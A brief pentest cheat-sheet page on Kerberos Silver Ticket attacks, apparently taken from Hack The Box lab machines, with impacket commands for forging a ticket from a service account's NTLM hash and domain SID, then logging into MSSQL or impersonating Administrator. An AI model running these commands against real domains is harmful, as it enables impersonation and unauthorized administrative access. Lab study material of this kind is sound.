Silver Ticket

{% hint style="info" %} The username and password of the service account is needed for this attack {% endhint %}

Create a NTLM hash of the password

{% embed url="https://codebeautify.org/ntlm-hash-generator" %}

011443EC19DA4DAC4FFC953BCA1B57B4CF

Next you need the Domains SID

01*Evil-WinRM* PS C:\SQLSERVER\Logs> Get-ADDomain

01S-1-5-21-4078382237-1492182817-2568127209

Create the ticket and connect with to mssql

01impacket-ticketer -nthash <hash> -domain-sid <SID> -domain sequel.htb -spn Adot8/dc.sequel.htb administrator

01KRB5CCNAME=administrator.ccache impacket-mssqlclient -k administrator@dc.sequel.htb

OR

impacket-getST -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int$:pass -dc-ip 192.168.193.40

{% embed url="https://htb.adot8.com/hack-the-box/oscp-like-boxes/windows/intelligence/foothold" %}